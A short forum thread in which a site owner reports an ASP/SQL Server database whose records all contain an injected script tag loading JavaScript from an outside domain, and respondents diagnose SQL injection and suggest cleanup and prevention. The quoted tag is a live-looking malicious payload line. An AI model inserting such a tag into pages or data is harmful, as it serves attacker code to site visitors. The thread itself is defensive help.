Hai

My database is in SQL SERVER 2000. My site is written in asp language. It was working fine before. But Now there was some unexcepted script tags are added in my each and every record in my sql sever the sample of the tag is
<script src=http://www.adw95.com/b.js></script>.

Because of this problem my site didn't show some contents and automaticaly refreshing and going to unwanted weblinks.

Please Help me.

Why this problem came?
what is the solution of this problem?
How to prevent this problem?

Thanking You

Hi there,

Take a look here: http://p2p.wrox.com/topic.asp?TOPIC_ID=71382

>> Why this problem came?

Hackers got (some) control of your system and injected JavaScript in your database.

>> what is the solution of this problem?

Twofold: restore a backup of the database (or manually clean the data) and then protect yourself against SQL Injection.

>> How to prevent this problem?

Protect yourself against future attempts. Sanitize all incoming data before you process it.

http://www.ngssoftware.com/papers/ad..._injection.pdf

Cheers,

Imar

---------------------------------------
Imar Spaanjaars
http://Imar.Spaanjaars.Com
Everyone is unique, except for me.
Author of Beginning ASP.NET 3.5 : in C# and VB, ASP.NET 2.0 Instant Results and Dreamweaver MX 2004
Want to be my colleague? Then check out this post.

ok sir,

 Thanks for your reply.
 I will go through it

Also, if you use stored procedures instead of SQL embedded in your app, it also becomes much more secure and without much effort.

--Jeff Moden